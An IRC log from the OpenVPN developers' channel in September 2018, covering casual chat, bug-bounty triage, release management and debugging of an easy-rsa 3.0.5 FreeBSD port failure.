pays 15 EUR/month for 2GB here 14:59 <@cron2> booking hotel+flight on expedia is 120 EUR more expensive than booking the same hotel at HRS and the flight at lufthansa 14:59 <@cron2> great service 15:45 <@ordex> :D --- Day changed Wed Sep 05 2018 01:41 <@cron2> meow 01:46 <@ordex> :O 02:40 <@ordex> cron2: you really use Uber? :-P 02:40 <@ordex> never read about those reports about the customer tracking/analysis they do? 02:59 <@ordex> and for maps, my suggestion is using osmand+ (using OSM maps) 03:52 <@cron2> ordex: I have never used uber before, but the hackathon wiki suggests to do so 03:52 <@cron2> (and if they keep track of the two journeys a do once a year, so be it) 03:52 <@cron2> but a colleague of mine used Uber quite a lot when we were together in Marseille, and it was SO MUCH MORE practical than "Taxi" 03:53 <@ordex> sure sure, didn't say it's not practical 03:53 <@cron2> like, put the target address into the app, see on the map where the driver is (= wait inside, not outside in the pouring rain, until he arrives). Do not talk to the driver in a language neither understands. Do not haggle about fare price. 03:53 <@cron2> especially in eastern europe, taxi is still lottery - some drivers will just charge you an arbitrary sum, unless you agreed on the price before starting 03:54 <@ordex> also gmail is very practical, but giving away all your personal information to google is not necessary a good thing. but this is just a personal perspective 03:54 <@ordex> yup, can happen I guess 03:58 <@cron2> in germany, I rarely use Taxis, and never used Uber before 22:35 <@vpnHelper> RSS Update - tickets: #1102: iOS app ignores settings of wi-fi only and Connection Timeout <https://community.openvpn.net/openvpn/ticket/1102> --- Day changed Thu Sep 06 2018 05:10 <@dazo> I've never used Uber before I went to Lviv last time ... and I must say (disregarding tracking issues), it was a fairly nice experience. Easy, payment arranged via the app, you could see if the driver deviated from the recommended driving plan (in Lviv city centre, the drivers I've used have been fairly good at avoiding traffic jams - so some deviation do occur) 05:10 <@dazo> and with an fairly close estimate of the travel cost 05:11 <@dazo> plus, drivers are rated ... so you'll see if people have been satisfied or not before the car arrives :) 05:12 <@dazo> btw ... I've spent some time trying to come up with a slimmer patch for the PKCS#11 challenge .... https://community.openvpn.net/openvpn/attachment/ticket/538/0001-pkcs11-Workaround-to-make-PKCS-11-PIN-token-work-wit.patch .... not a final patch, but at least something which can be discussed 05:12 <@vpnHelper> Title: 0001-pkcs11-Workaround-to-make-PKCS-11-PIN-token-work-wit.patch on Ticket #538 – Attachment – OpenVPN Community (at community.openvpn.net) 05:17 <@cron2> saw that patch, hopefully the original reporter can give it a good testing 05:20 <@dazo> any initial thoughts on my patch? 05:21 <@dazo> Even I'm not sure if this is the best approach :-P 05:21 <@cron2> not looked at the code yet. The description sounds like a reasonable stopgap until we have a proper solution 07:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:26 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:32 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:38 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:38 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 16:11 <@cron2> grrr... in 2010, someone said I should make my code more readable, and not use lseek(fd, 0, 1) but lseek(fd, 0, SEEK_CUR) 16:12 <@cron2> which is all good, so I did a commit that said "use SEEK_CUR for lseek(), not "1" (code cleanup)" 16:12 <@cron2> but the actual change put SEEK_SET in there, which was not discovered until 8 years later... 17:48 <@dazo> ouch --- Day changed Fri Sep 07 2018 02:19 <@ordex> LOL 02:20 <@ordex> but there should be no difference with offset = 0 02:21 <@ordex> we,, assuming the file was just opened 02:21 <@ordex> *well 02:34 <@cron2> ordex: the difference is huge, as that is part of a "where in the file are we now?" diagnostic printout 02:34 <@cron2> so SEEK_CUR tells us "where are we?" while SEEK_SET rewinds the file to 0... 02:34 <@cron2> ... leading to "re-read the file from start, run into the same parse error, print the same diagnostics, loop forever" 02:35 <@ordex> cron2: hence my last comment "assuming the file was just opened" hehe 02:35 <@ordex> but yeah 02:35 <@ordex> I haven't checked the context 02:35 <@cron2> in that particular case, indeed, the difference is 0 :-) 02:35 <@ordex> hehe 04:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:16 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:47 <@ordex> hi mattock1 !! 04:47 <@ordex> :] 04:50 <@cron2> mattockman! 04:51 <@ordex> mattock1: we know you just came back, but you should get ready for the next departure! book in Lviv! 04:51 <@ordex> :D 06:53 <@cron2> https://github.com/Droogans/unmaintainable-code 06:53 <@vpnHelper> Title: GitHub - Droogans/unmaintainable-code: A more maintainable, easier to share version of the infamous http://mindprod.com/jgloss/unmain.html (at github.com) 10:05 <@dazo> "If anyone even hints at breaking the tradition honoured since FØRTRAN of using i, j, and k for indexing variables, namely replacing them with ii, jj and kk, warn them about what the Spanish Inquisition did to heretics." 10:30 <@ordex> haha 10:36 < gcoxmoz> There's a git repo I've hit before, that enforced pylint and 3-letter variables. "Mea Culpa, Grand Inquisitor." 12:19 <@mattock1> guys: I already booked the flights and hotel 12:19 <@mattock1> I'm flying Ukrainian International Airlines which apparently has no entertainment on their planes :P 12:19 <@mattock1> 5.0/1.0 overall score 12:19 <@mattock1> I hope their planes stay in the air alright :P 12:23 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 12:31 <@ordex> :D 12:56 < tincantech> pack a parachute ;) 23:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:26 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Sat Sep 08 2018 02:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 11:19 <@cron2> mattock: are you around? 12:29 -!- dazo [~freenode@openvpn/corp/developer/dazo] has quit [Quit: Leaving] 12:32 -!- dazo [~freenode@openvpn/corp/developer/dazo] has joined #openvpn-devel 12:32 -!- mode/#openvpn-devel [+o dazo] by ChanServ 15:59 -!- dazo [~freenode@openvpn/corp/developer/dazo] has quit [Quit: Leaving] 16:00 -!- dazo [~freenode@openvpn/corp/developer/dazo] has joined #openvpn-devel 16:00 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Mon Sep 10 2018 01:29 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:29 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:00 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 02:28 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 02:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:30 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 06:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:13 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:34 <@cron2> so... two questionns... mattock: are you real?, and: shall we meet this week? 07:36 <@ordex> maybe we should first ask mattock1 if he remembers what openvpn is :P :P :P 07:42 <@cron2> if he wants to remember :) 07:45 <@ordex> hehe 07:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 11:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:24 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:48 <@mattock1> cron2: I am real 12:48 <@mattock1> I can do a meeting this week 13:30 <@cron2> mattock1: we should return to having regular meetings 13:30 <@cron2> mattock1: what are we going to do about those pesky OIDs that fail the tests for the tap driver? Can you ask them for a consulting offer to fix these? 13:30 <@cron2> Jon also noticed the problem, but nobody knows how to fix "right away", and nobody had time 13:39 <@mattock1> cron2: agreed on regular meetings 13:39 <@mattock1> I will ask them to fix all the things they find 13:39 <@mattock1> we don't really have time or people to fix any of it, without hiring somebody else 13:39 <@mattock1> and if they can fix it, why bother with "someone else" 13:45 <@cron2> works for me 13:45 <@cron2> I inteded to look into this OID thing like 8 weeks ago, and couldn't find time (which I find highly annoying) 13:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 19:01 <@vpnHelper> RSS Update - tickets: #1103: MTU test fails with client v2.4.5 <https://community.openvpn.net/openvpn/ticket/1103> 23:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:19 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 23:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 23:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:41 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 23:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 23:54 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:54 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Tue Sep 11 2018 01:24 <@cron2> mornin 01:24 <@cron2> first school day for $kid[1] today... great excitement...! 01:27 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 01:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:44 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:46 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 02:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:52 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:28 <@ordex> cron2: wow :) congrats 03:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 04:00 <@syzzer> morning :) 04:00 <@syzzer> I'm at a conference this week, but can try to keep an eye on IRC during the meeting 04:02 <@ordex> oh what conference is that syzzer ? 04:02 <@ordex> (if you can say!) 04:09 <@syzzer> Cryptographic Hardware and Embedded Systems (CHES) 04:09 <@syzzer> in Amsterdam this year, so easy on travel :) 04:09 <@ordex> hehe cool 04:09 <@syzzer> yeah, quite nice conference 04:10 <@syzzer> people using lasers to read keys from fpgas, or breaking the tesla key fobs 04:10 <@ordex> uhm interesting :D 04:10 <@syzzer> (the second just because of broken crypto, not lasers) 04:50 <@cron2> syzzer: nice 04:50 <@dazo> I'm sure you'd get Musks attention instantly if lasers was involved :-P 05:14 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:14 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 12:17 <@vpnHelper> RSS Update - tickets: #1104: iOS: WiFi Calling disconnects after going to sleep mode when OpenVPN is connected <https://community.openvpn.net/openvpn/ticket/1104> 13:22 <@vpnHelper> RSS Update - tickets: #1105: Seems like openvpn client doesn't correctly interpret configuration file after automatic reconnect <https://community.openvpn.net/openvpn/ticket/1105> 15:07 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 16:18 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 16:18 -!- mode/#openvpn-devel [+o cron2] by ChanServ 16:18 <@cron2> bastards are DDoSing a customer of ours with like 50 Gbit/s incoming... killed my IRC connection! 16:42 <@ordex> shut, good way of wasting that much bandwidth :[ 17:24 <@cron2> and wasting of my time for sleep 17:24 <@cron2> need to get up in 6 hours 17:24 <@cron2> fuck 17:24 * cron2 goes --- Day changed Wed Sep 12 2018 00:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:35 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 01:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:53 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:57 <@mattock1> my IRC bouncer has been dead since Freenode changed their authentication scheme - so if we can arrange a meeting today, please let me know what topics to discuss 01:58 <@mattock1> the same thing apparently broke IRC on my selfphone 02:00 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:00 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 02:00 <@mattock1> ok selfphone was fairly easy to fix 02:03 <@mattock1> Internet Bug Bounty for OpenVPN is now online (just received some emails): https://hackerone.com/ibb-openvpn 02:03 <@vpnHelper> Title: HackerOne (at hackerone.com) 02:07 <@mattock1> ok so somebody already posted a report to our HackerOne 02:08 <@cron2> how can I see this? 02:09 <@mattock1> I'll try to create an account for you 02:09 <@mattock1> did you guys manage to agree on having a meeting today? 02:09 <@mattock1> as in: who can join 02:09 <@cron2> syzzer wanted to listen in, I'm here, nothing from ordex or anyone else I think 02:10 <@mattock1> "listen in" meaning pay attention or "participate"? :P 02:10 <@cron2> pay attention 02:11 <@mattock1> we could have an informal meeting today 02:11 <@mattock1> to get started, then proper meetings up until the hackathon 02:11 <@cron2> +1 02:11 <@cron2> now that you are back and have chosen to remember what openvpn is :-) 02:12 <@mattock1> I was consumed by infrastructure meetings and timezone different for over 2 weeks in California 02:12 <@mattock1> plus summer vacation 02:12 <@mattock1> but all that time I did remember what OpenVPN was :) 02:12 <@mattock1> or is 02:13 <@mattock1> cron2: I invited you 02:13 <@mattock1> you should have received an email 02:13 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] 02:14 <@cron2> yep 02:15 <@cron2> amazing number of people in "Team OpenVPN" 02:16 <@cron2> argh 02:16 <@cron2> argh 02:16 <@cron2> ARGH 02:16 <@cron2> I wish I never clicked 02:16 <@cron2> this is the "look, ma, I already got a CVE ID for my important discovery!" idiot again 02:17 <@cron2> ("if you bind the management interface to a TCP port AND have no password on it AND there is no GUI, then I can point my web browser at the management interface and do Bad Things!") 02:17 <@mattock1> yeah, that's what monetary incentives give us :P 02:17 <@cron2> I would close that as "this is a well-known issue, no double bounties here" 02:17 <@mattock1> and it is remotely exploitable I'm sure if you misconfigure the management interface even more, right? 02:18 <@cron2> yes 02:18 <@mattock1> omg! 02:18 <@mattock1> surely worth a bounty 02:19 <@mattock1> yeah, this one can be thrown away quickly 02:20 <@cron2> without even going into the merits of the finding, just "this has been reported previously, no double bounties" 02:20 <@mattock1> yep 02:27 <@ordex> :O 02:27 <@ordex> +1 for the pre-meeting 02:27 <@ordex> with beer and candies 02:46 <@mattock1> I'm on a candy strike 02:46 <@mattock1> so only beer 02:54 <@ordex> :p 02:54 <@ordex> good choice 03:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 03:04 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:05 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 03:14 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 04:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:12 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:13 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:13 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 06:24 <@plaisthos> geesh, people have nerves. Some Indian, at least the name is Inidian, developer ask me to help him setup his AS to build my app and says he will buy the license if it works 06:24 <@plaisthos> that he does that without even knowing price or terms (or if I still sell licenses) is a deep red flag ... 06:34 <@cron2> just require advance payment of 50% 06:37 <@plaisthos> yeah 06:43 <@ordex> nah, just ask to buy the entire license first :p then he can talk 06:44 <@plaisthos> btw. happy proofreading of https://community.openvpn.net/openvpn/wiki/VORACLE 06:44 <@vpnHelper> Title: VORACLE – OpenVPN Community (at community.openvpn.net) 06:45 <@plaisthos> all nonsense is mine, the rest is davids ;) 06:46 <@ordex> :D 08:01 < tincantech> plaisthos: I have sent email to devel with some corrections, I can edit your wiki myself 08:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:08 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 08:17 <@dazo> tincantech: sure can do! 08:25 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:25 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 08:43 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 08:44 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:44 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 08:49 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 08:52 <@vpnHelper> RSS Update - tickets: #1106: openVPN is not picking up VoD from .mobileConfig <https://community.openvpn.net/openvpn/ticket/1106> 13:06 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:06 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 17:00 <@plaisthos> tincantech: thanks for all the spelling fixes 17:01 <@plaisthos> how should I credit you in v2? just as ticantech? 17:14 <@vpnHelper> RSS Update - tickets: #1107: OpenVPN not connecting on ios 12 public beta <https://community.openvpn.net/openvpn/ticket/1107> --- Day changed Thu Sep 13 2018 00:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:16 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:28 <@cron2> meow 01:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 06:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:05 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:57 < tincantech> plaisthos: however is the usual way .. tbh I don't need any credit for that ;) 08:03 <@plaisthos> real name ;) 08:30 < tincantech> sure 08:30 < tincantech> i got over that fear :) 08:31 < tincantech> at least for openvpn anyway .. facebook can KMA tho :D 08:49 <@vpnHelper> RSS Update - tickets: #1108: 3.0.0 & 3.0.1 Reconnection problems/battery life <https://community.openvpn.net/openvpn/ticket/1108> 13:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] --- Log closed Thu Sep 13 20:00:03 2018 --- Log opened Fri Sep 14 07:36:15 2018 07:36 -!- Irssi: #openvpn-devel: Total of 26 nicks [8 ops, 0 halfops, 0 voices, 18 normal] 07:36 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 07:36 -!- You're now known as ecrist 07:36 -!- Irssi: Join to #openvpn-devel was synced in 20 secs 09:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:01 <@vpnHelper> RSS Update - tickets: #1109: OpenVPN import OVPN profile on iOS <https://community.openvpn.net/openvpn/ticket/1109> 15:55 <@vpnHelper> RSS Update - tickets: #1110: IOS - DNS push no longer working <https://community.openvpn.net/openvpn/ticket/1110> 22:47 <@ecrist> tincantech: it is my hope to release v3.0.5 tomorrow. 22:47 <@ecrist> I have some PRs I'm going to try and roll in tonight/tomorrow, and I need to write up a proper release notes/change list for the release. 22:48 <@ecrist> If I'm really adventurous, I'll shoot for a 3.1.0 as well. 22:48 <@ecrist> which will be cut from master 23:34 <@ecrist> ok, 3.0.5 is released 23:34 <@ecrist> we don't need a 3.1 because I don't do git well, and your LibreSSL changes snuck in on me --- Day changed Sat Sep 15 2018 02:46 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:46 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:23 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 06:20 < tincantech> ecrist: did you cut 306 from master ? I think if you cut it from 305 you will get it without libressl .. if you want to ;) 06:21 < tincantech> altho, it looks like you may have gone too far to undo 06:30 < tincantech> but it looks good to me :) 06:35 < tincantech> i'll do some tests on Win especially with 305/6 06:41 < tincantech> git does not appear to log the creation of a new branch .. feels like it ought to tho 07:08 < tincantech> got a new disc and OS .. lots of "fun" ahead .. 07:41 <@ecrist> 306 is a cut from 305 07:42 <@ecrist> so, they should be identical, and it's the current working branch 07:42 < m-a> which should I update the FreeBSD port to? 07:43 < m-a> v3.0.5, no? 07:48 < tincantech> ecrist: you applied libressl to 305 23 days ago ;) 07:55 <@ecrist> I know 07:55 <@ecrist> m-a: 3.0.5 07:55 <@ecrist> 3.0.6 is just a branch at this point, not a release 07:55 < m-a> done, r479834 07:56 <@ecrist> thanks, m-a 07:57 < m-a> hmmm... export EASYRSA=/tmp/try 07:57 < m-a> [mandree@freeryzen /tmp]$ easyrsa init-pki 07:57 < m-a> ... 07:57 < m-a> Failed to update /tmp/try/safessl-easyrsa.cnf 07:57 <@ecrist> shit, that was fast 07:57 * ecrist looks at tincantech 07:59 <@ecrist> hrm, it's working on my Mac 08:00 < m-a> wait, /usr/local/share/easy-rsa/openssl-easyrsa.cnf.example is in the package 08:00 < m-a> but .cnf is generated on install 08:00 < m-a> same for vars 08:01 < m-a> it prints something else that I elided: "sed: /tmp/try/openssl-easyrsa.cnf: No such file or directory" 08:03 < m-a> sh op_test.sh also fails on FreeBSD 11.2 08:03 < m-a> easyrsa: cannot create easyrsa/safessl-easyrsa.cnf: Not a directory 08:03 <@ecrist> m-a: op_test.sh likely needs updates to support a release 08:03 <@ecrist> I wrote it to run in the development tree where there is an easyrsa/ path. 08:03 < m-a> alright, so that I won't care about, but the init-pki failure looks fatal. 08:04 < m-a> note that easyrsa is installed in system default locations for ports and I am running as unprivileged user 08:04 <@ecrist> m-a: if I simply extract the tgz release, and run from there, everythign is working with LibreSSL 08:05 <@ecrist> on FreeBSD 11.2 08:05 <@ecrist> wait 08:05 < m-a> I don't give a shit for LibreSSL 08:05 < m-a> ~/VCS-other/easy-rsa.git]$ ./easyrsa3/easyrsa init-pki 08:05 < m-a> that works 08:05 <@ecrist> Using SSL: openssl OpenSSL 1.0.1s-freebsd 1 Mar 2016 08:05 < m-a> what am I missing that fails to report its error on the installed package instead? 08:06 < m-a> yeah. 11.2 base SSL 08:06 < m-a> -> Using SSL: openssl OpenSSL 1.0.2o-freebsd 27 Mar 2018 08:06 <@ecrist> I'm not sure, I've not used easyrsa from ports in quite some time. 08:06 <@ecrist> I lied, I'm on a different server than I though, so 10.3 08:06 < m-a> 10.3 is dead 08:07 < m-a> 11.1 will be dead end of Sept (this year) and 10.4 end of Oct. 08:08 <@ecrist> ok, on 11.2p3, it runs from our extracted package 08:09 * tincantech is watching 08:09 < m-a> do not do that - the port is b0rked 08:09 < m-a> + '[' -n /home/mandree/pki ']' 08:09 < m-a> + make_ssl_config 08:09 < m-a> + sed -e s,ENV::,,g -e 's,$dir,/home/mandree/pki,g' -e 's,$EASYRSA_PKI,/home/mandree/pki,g' -e 's,$EASYRSA_CERT_EXPIRE,1080,g' -e 's,$EASYRSA_CRL_DAYS,180,g' -e 's,$EASYRSA_DIGEST,sha256,g' -e 's,$EASYRSA_KEY_SIZE,2048,g' -e 's,$EASYRSA_DIGEST,sha256,g' -e 's,$EASYRSA_DN,cn_only,g' -e 's,$EASYRSA_REQ_COUNTRY,US,g' -e 's,$EASYRSA_REQ_PROVINCE,California,g' -e 's,$EASYRSA_REQ_CITY,San Francisco,g' -e 's,$EASYRSA_REQ_ORG, 08:09 < m-a> tificate Co,g' -e 's,$EASYRSA_REQ_OU,My Organizational Unit,g' -e 's,$EASYRSA_REQ_CN,ChangeMe,g' -e 's,$EASYRSA_REQ_EMAIL,me@example.net,g' /tmp/try/openssl-easyrsa.cnf 08:09 < m-a> sed: /tmp/try/openssl-easyrsa.cnf: No such file or directory 08:11 <@ecrist> so, that is new LibreSSL functionality 08:11 < m-a> I have only set EASYRSA (not EASYRSA_PKI or thereabouts). It appears that this is wrong. 08:11 < tincantech> it is used all the time tho 08:12 < m-a> so the issue is that the default setup wants to generate safessl-easyrsa.cnf in a system directory. 08:12 <@ecrist> m-a: I think you definiately need to set EASYRSA_PKI 08:12 < m-a> which isn't writable to non-root users. 08:13 < tincantech> but you cannot find the source file openssl-easyrsa.cnf 08:13 < tincantech> which is always there .. 08:13 < m-a> where is "there" 08:13 < m-a> note that on ports/packages, the whole thing is installed into /usr/local/share/easy-rsa/ 08:13 < tincantech> it should be in the same place as ./easyrsa 08:14 <@ecrist> no 08:14 < m-a> which it is. (well, easyrsa.real is what I install) 08:14 < tincantech> oh .. is it run via a $PATH 08:14 < m-a> of course. It's a package. 08:14 <@ecrist> tincantech: your config files should always be in a place writeable by the user running easyrsa 08:14 < m-a> /usr/local/bin/easyrsa is just a wrapper: 08:14 < m-a> #! /bin/sh 08:14 < m-a> : ${EASYRSA:="/usr/local/share/easy-rsa"} 08:14 < m-a> export EASYRSA 08:14 < m-a> exec "/usr/local/share/easy-rsa/easyrsa.real" "$@" 08:15 < tincantech> i was waiting for freebsd 12 before i try it there 08:16 <@ecrist> lol 08:16 < tincantech> ;) 08:16 < m-a> let's see https://github.com/OpenVPN/easy-rsa/blob/v3.0.5/easyrsa3/easyrsa#L308 08:16 <@vpnHelper> Title: easy-rsa/easyrsa at v3.0.5 · OpenVPN/easy-rsa · GitHub (at github.com) 08:16 < tincantech> erm .. i don't understand the "packaging" stuff very well yet 08:16 <@ecrist> me neither, m-a usually beats it in to me 08:16 < m-a> and then https://github.com/OpenVPN/easy-rsa/blob/v3.0.5/easyrsa3/easyrsa#L1184 and following 08:16 <@vpnHelper> Title: easy-rsa/easyrsa at v3.0.5 · OpenVPN/easy-rsa · GitHub (at github.com) 08:17 < tincantech> ah ok ;) 08:17 < m-a> the thing is that you cannot assume that you write to the source directory 08:17 < m-a> we don't want to copy the binaries from the read-only install directory to user directories 08:17 <@ecrist> correct 08:17 < tincantech> ok 08:17 < m-a> but the code assumes just that. it tries to generate safessl-easyrsa.cnf in the same directory as openssl-easyrsa.cnf, no matter where, and that is a botched assumption. 08:18 <@ecrist> I missed that when I merged the commit 08:18 < tincantech> ok 08:18 < m-a> do we get this fixed in the next 15 minutes in a release? Else I'll roll back to 3.0.4 and bump PORTEPOCH. 08:18 < m-a> or with a proper port? 08:19 < tincantech> i can't fix it in 15m .. 08:19 < m-a> It appears make_ssl_config and vars_setup need to make sure that it may have to copy the safessl... somewhere. 08:19 <@ecrist> lemme look at it, I'll see if I can get it updated. 08:19 < m-a> a patch would suffice 08:19 < m-a> if a release is too much. 08:19 < m-a> what is this make_ssl_config about anyways? If LibreSSL is getting obtrusive, I'll declare easyrsa incompatible with that crap. I don't believe in LibreSSL at all. It's a pile of horsedung. 08:20 <@ecrist> m-a: make_ssl_config is a workaround to make LibreSSL work. It doesn't allow for environment variables the way we use them in easyrsa 08:20 < m-a> ok, let's try something else, I'll hit downtown errands and check back in c. 3 hours' time 08:20 <@ecrist> So make_ssl_config writes out a file based on the environment variables. 08:21 <@ecrist> alright, I'll get you a patch by then 08:21 < m-a> yeah, but it doesn't seem to write to EASYRSA_PKI unless the source file is also there. 08:21 <@ecrist> correct 08:21 < m-a> and I'll mark 3.0.5 broken for now 08:21 <@ecrist> line 3.0.8 needs to be fixed to point to work_dir 08:21 <@ecrist> or pki, I'll figured that out. 08:23 < m-a> or kill LibreSSL if that's quicker. If it hasn't worked before, it does not need to work now. 08:26 < tincantech> ecrist: you could include the path-to $EASYSA_SAFE_CONF by prepending it to that variable (i think) 08:26 <@ecrist> m-a: without LibreSSL, we lost MacOS. They killed OpenVPN 08:26 <@ecrist> I'll get you patch for FreeBSD and will roll that in to an eventual 3.0.6 08:27 < tincantech> ecrist: maybe change line 1186 08:27 < tincantech> to point to the work_dir ? 08:28 < tincantech> and 1188 08:29 < m-a> who killed OpenVPN? Apple's base SSL? 08:29 <@ecrist> yes 08:29 <@ecrist> not openvpn 08:29 <@ecrist> sorry 08:29 <@ecrist> OpenSSL 08:29 < m-a> I don't pay attention to Apple things since I don't care about that overpriced hardware from previousyesteryear 08:29 <@ecrist> sure, but there are a lot of people who *do* care 08:30 < m-a> then again there are more people who care about Windows and I wonder if the macOS server installs aren't vastly outnumbered by the other *nixen installs 08:31 < m-a> ah well, I won't keep anyone from wasting their money and I'm not trying to get in the way with the Apple stuff beyond my own ignorance 08:31 <@ecrist> I suspect there are a lot of people that just download the release tarball and run it out of their home directory 08:31 <@ecrist> many of the linux distro packages are quite far out of date at this point. 08:31 <@ecrist> FreeBSD is by far the exception here 08:32 <@ecrist> and Windows users use whatever mattock is shipping in the Windows OpenVPN installer 08:33 < m-a> many of the popular linux distro packages derive from Debian or Ubuntu which is a two-year-old Debian snapshot left to bit-rot. While I haven't checked Arch and Gentoo, and Fedora 28 ships 3.0.3 08:33 <@ecrist> tincantech: your test on 1184 should include a touch, and verify if the file was written, since it doesn't really have to exist at all 08:34 <@ecrist> if it's able to write out that file, it should prefer EASYRSA_PKI/ 08:34 < tincantech> ok 08:35 <@ecrist> m-a: 3.0.3 was fine for unix boxes, 3.0.4 fixed missing windows binaries. 08:35 < tincantech> i'm looking at it .. just fired up old fbsd 11.1 08:35 < m-a> I have given up on Ubuntu and derivates and moved desktops to Fedora Linux and servers to FreeBSD. 08:35 < m-a> tincantech: freebsd-update -r 11.2-RELEASE upgrade # <- before end of month 08:36 < m-a> will take a while though depending on CPU horsepower and available network bandwidth 08:37 < tincantech> m-a: i know .. i am retiring it for 12 08:39 < m-a> tincantech: that's several long weeks out 08:40 < tincantech> i know :( 08:40 < m-a> due 6 Nov 08:40 < m-a> BETA1 due out next week 08:40 < m-a> FTR; https://www.freebsd.org/releases/12.0R/schedule.html 08:40 <@vpnHelper> Title: FreeBSD 12.0 